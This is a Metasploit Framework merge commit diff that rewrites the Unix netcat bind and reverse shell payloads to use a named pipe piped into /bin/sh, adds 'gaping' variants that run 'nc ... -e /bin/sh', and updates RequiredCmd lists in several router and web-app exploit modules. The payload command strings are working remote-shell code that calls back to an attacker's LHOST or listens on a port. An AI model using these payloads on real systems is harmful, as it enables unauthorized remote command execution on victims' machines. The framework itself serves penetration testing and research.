Merge remote-tracking branch 'jvazquez-r7/netcat_gaping' into rapid7

egypt · egypt · commit 6da4c531911f · 2013-03-11T16:02:49.000-05:00
[Closes rapid7#1576]
diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -253,7 +253,7 @@ def self.choose_payload(mod, target)
 			'cmd/unix/interact',
 			'cmd/unix/reverse',
 			'cmd/unix/reverse_perl',
-			'cmd/unix/reverse_netcat',
+			'cmd/unix/reverse_netcat_gaping',
 			'windows/meterpreter/reverse_nonx_tcp',
 			'windows/meterpreter/reverse_ord_tcp',
 			'windows/shell/reverse_tcp',
diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb
@@ -41,7 +41,7 @@ def initialize(info = {})
 					'DisableNops' => true,
 					'Compat'      =>
 						{
-							'RequiredCmd' => 'generic netcat-e'
+							'RequiredCmd' => 'generic netcat netcat-e'
 						}
 				},
 			'Targets'        =>
diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb
@@ -46,7 +46,7 @@ def initialize(info = {})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic netcat-e',
+							'RequiredCmd' => 'generic netcat netcat-e',
 						}
 				},
 			'DefaultOptions' =>
diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb
@@ -46,7 +46,7 @@ def initialize(info={})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic netcat-e perl bash',
+							'RequiredCmd' => 'generic netcat netcat-e perl bash',
 						}
 				},
 			'Targets'        =>
diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb
@@ -30,7 +30,7 @@ def initialize(info = {})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic perl telnet netcat-e bash',
+							'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
 						}
 				},
 			'Platform'       => 'unix',
diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb
@@ -33,7 +33,7 @@ def initialize(info = {})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic perl telnet netcat-e bash',
+							'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',
 						}
 				},
 			'Platform'       => 'unix',
diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
@@ -40,7 +40,7 @@ def initialize(info = {})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic perl bash telnet netcat-e',
+							'RequiredCmd' => 'generic perl bash telnet netcat netcat-e',
 						}
 				},
 			'Platform'       => 'unix',
diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb
@@ -40,7 +40,7 @@ def initialize(info={})
 					'Compat'      =>
 						{
 							'PayloadType' => 'cmd',
-							'RequiredCmd' => 'generic perl ruby python netcat-e',
+							'RequiredCmd' => 'generic perl ruby python netcat netcat-e',
 						}
 				},
 			'Platform'       => ['unix'],
diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb
@@ -44,7 +44,7 @@ def initialize(info={})
 			'Compat'         =>
 				{
 					'PayloadType' => 'cmd',
-					'RequiredCmd' => 'generic perl ruby python bash netcat-e'
+					'RequiredCmd' => 'generic perl ruby python bash netcat netcat-e'
 				},
 			'Targets'        =>
 				[
diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb
@@ -39,7 +39,7 @@ def initialize(info={})
 					'Compat'      =>
 						{
 						'PayloadType' => 'cmd',
-						'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
+						'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
 						}
 				},
 			'DefaultOptions'  =>
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -10,23 +10,28 @@
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
 
-module Metasploit3
+module Metasploit4
 
 	include Msf::Payload::Single
 	include Msf::Sessions::CommandShellOptions
 
 	def initialize(info = {})
 		super(merge_info(info,
-			'Name'          => 'Unix Command Shell, Bind TCP (via netcat -e)',
+			'Name'          => 'Unix Command Shell, Bind TCP (via netcat)',
 			'Description'   => 'Listen for a connection and spawn a command shell via netcat',
-			'Author'        => 'hdm',
+			'Author'         =>
+				[
+					'm-1-k-3',
+					'egypt',
+					'juan vazquez'
+				],
 			'License'       => MSF_LICENSE,
 			'Platform'      => 'unix',
 			'Arch'          => ARCH_CMD,
 			'Handler'       => Msf::Handler::BindTcp,
 			'Session'       => Msf::Sessions::CommandShell,
 			'PayloadType'   => 'cmd',
-			'RequiredCmd'   => 'netcat-e',
+			'RequiredCmd'   => 'netcat',
 			'Payload'       =>
 				{
 					'Offsets' => { },
@@ -46,7 +51,8 @@ def generate
 	# Returns the command string to use for execution
 	#
 	def command_string
-		"nc -lp #{datastore['LPORT']} -e /bin/sh"
+		backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
+		"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
 	end
 
 end
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb
@@ -0,0 +1,52 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+	include Msf::Payload::Single
+	include Msf::Sessions::CommandShellOptions
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Unix Command Shell, Bind TCP (via netcat -e)',
+			'Description'   => 'Listen for a connection and spawn a command shell via netcat',
+			'Author'        => 'hdm',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'unix',
+			'Arch'          => ARCH_CMD,
+			'Handler'       => Msf::Handler::BindTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'PayloadType'   => 'cmd',
+			'RequiredCmd'   => 'netcat-e',
+			'Payload'       =>
+				{
+					'Offsets' => { },
+					'Payload' => ''
+				}
+			))
+	end
+
+	#
+	# Constructs the payload
+	#
+	def generate
+		return super + command_string
+	end
+
+	#
+	# Returns the command string to use for execution
+	#
+	def command_string
+		"nc -l -p #{datastore['LPORT']} -e /bin/sh"
+	end
+
+end
diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb
@@ -10,23 +10,28 @@
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
 
-module Metasploit3
+module Metasploit4
 
 	include Msf::Payload::Single
 	include Msf::Sessions::CommandShellOptions
 
 	def initialize(info = {})
 		super(merge_info(info,
-			'Name'          => 'Unix Command Shell, Reverse TCP (via netcat -e)',
+			'Name'          => 'Unix Command Shell, Reverse TCP (via netcat)',
 			'Description'   => 'Creates an interactive shell via netcat',
-			'Author'        => 'hdm',
+			'Author'         =>
+				[
+					'm-1-k-3',
+					'egypt',
+					'juan vazquez'
+				],
 			'License'       => MSF_LICENSE,
 			'Platform'      => 'unix',
 			'Arch'          => ARCH_CMD,
 			'Handler'       => Msf::Handler::ReverseTcp,
 			'Session'       => Msf::Sessions::CommandShell,
 			'PayloadType'   => 'cmd',
-			'RequiredCmd'   => 'netcat-e',
+			'RequiredCmd'   => 'netcat',
 			'Payload'       =>
 				{
 					'Offsets' => { },
@@ -46,7 +51,8 @@ def generate
 	# Returns the command string to use for execution
 	#
 	def command_string
-		"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
+		backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
+		"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
 	end
 
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
@@ -0,0 +1,52 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+	include Msf::Payload::Single
+	include Msf::Sessions::CommandShellOptions
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Unix Command Shell, Reverse TCP (via netcat -e)',
+			'Description'   => 'Creates an interactive shell via netcat',
+			'Author'        => 'hdm',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'unix',
+			'Arch'          => ARCH_CMD,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Session'       => Msf::Sessions::CommandShell,
+			'PayloadType'   => 'cmd',
+			'RequiredCmd'   => 'netcat-e',
+			'Payload'       =>
+				{
+					'Offsets' => { },
+					'Payload' => ''
+				}
+			))
+	end
+
+	#
+	# Constructs the payload
+	#
+	def generate
+		return super + command_string
+	end
+
+	#
+	# Returns the command string to use for execution
+	#
+	def command_string
+		"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
+	end
+
+end

Original file line number	Diff line number	Diff line change
`@@ -41,7 +41,7 @@ def initialize(info = {})`
`41`	`41`	`'DisableNops' => true,`
`42`	`42`	`'Compat' =>`
`43`	`43`	`{`
`44`		`- 'RequiredCmd' => 'generic netcat-e'`
	`44`	`+ 'RequiredCmd' => 'generic netcat netcat-e'`
`45`	`45`	`}`
`46`	`46`	`},`
`47`	`47`	`'Targets' =>`
Original file line number	Diff line number	Diff line change
`@@ -46,7 +46,7 @@ def initialize(info = {})`
`46`	`46`	`'Compat' =>`
`47`	`47`	`{`
`48`	`48`	`'PayloadType' => 'cmd',`
`49`		`- 'RequiredCmd' => 'generic netcat-e',`
	`49`	`+ 'RequiredCmd' => 'generic netcat netcat-e',`
`50`	`50`	`}`
`51`	`51`	`},`
`52`	`52`	`'DefaultOptions' =>`
Original file line number	Diff line number	Diff line change
`@@ -46,7 +46,7 @@ def initialize(info={})`
`46`	`46`	`'Compat' =>`
`47`	`47`	`{`
`48`	`48`	`'PayloadType' => 'cmd',`
`49`		`- 'RequiredCmd' => 'generic netcat-e perl bash',`
	`49`	`+ 'RequiredCmd' => 'generic netcat netcat-e perl bash',`
`50`	`50`	`}`
`51`	`51`	`},`
`52`	`52`	`'Targets' =>`
Original file line number	Diff line number	Diff line change
`@@ -30,7 +30,7 @@ def initialize(info = {})`
`30`	`30`	`'Compat' =>`
`31`	`31`	`{`
`32`	`32`	`'PayloadType' => 'cmd',`
`33`		`- 'RequiredCmd' => 'generic perl telnet netcat-e bash',`
	`33`	`+ 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',`
`34`	`34`	`}`
`35`	`35`	`},`
`36`	`36`	`'Platform' => 'unix',`
Original file line number	Diff line number	Diff line change
`@@ -33,7 +33,7 @@ def initialize(info = {})`
`33`	`33`	`'Compat' =>`
`34`	`34`	`{`
`35`	`35`	`'PayloadType' => 'cmd',`
`36`		`- 'RequiredCmd' => 'generic perl telnet netcat-e bash',`
	`36`	`+ 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash',`
`37`	`37`	`}`
`38`	`38`	`},`
`39`	`39`	`'Platform' => 'unix',`
Original file line number	Diff line number	Diff line change
`@@ -40,7 +40,7 @@ def initialize(info = {})`
`40`	`40`	`'Compat' =>`
`41`	`41`	`{`
`42`	`42`	`'PayloadType' => 'cmd',`
`43`		`- 'RequiredCmd' => 'generic perl bash telnet netcat-e',`
	`43`	`+ 'RequiredCmd' => 'generic perl bash telnet netcat netcat-e',`
`44`	`44`	`}`
`45`	`45`	`},`
`46`	`46`	`'Platform' => 'unix',`
Original file line number	Diff line number	Diff line change
`@@ -40,7 +40,7 @@ def initialize(info={})`
`40`	`40`	`'Compat' =>`
`41`	`41`	`{`
`42`	`42`	`'PayloadType' => 'cmd',`
`43`		`- 'RequiredCmd' => 'generic perl ruby python netcat-e',`
	`43`	`+ 'RequiredCmd' => 'generic perl ruby python netcat netcat-e',`
`44`	`44`	`}`
`45`	`45`	`},`
`46`	`46`	`'Platform' => ['unix'],`
Original file line number	Diff line number	Diff line change
`@@ -44,7 +44,7 @@ def initialize(info={})`
`44`	`44`	`'Compat' =>`
`45`	`45`	`{`
`46`	`46`	`'PayloadType' => 'cmd',`
`47`		`- 'RequiredCmd' => 'generic perl ruby python bash netcat-e'`
	`47`	`+ 'RequiredCmd' => 'generic perl ruby python bash netcat netcat-e'`
`48`	`48`	`},`
`49`	`49`	`'Targets' =>`
`50`	`50`	`[`
Original file line number	Diff line number	Diff line change
`@@ -39,7 +39,7 @@ def initialize(info={})`
`39`	`39`	`'Compat' =>`
`40`	`40`	`{`
`41`	`41`	`'PayloadType' => 'cmd',`
`42`		`- 'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',`
	`42`	`+ 'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',`
`43`	`43`	`}`
`44`	`44`	`},`
`45`	`45`	`'DefaultOptions' =>`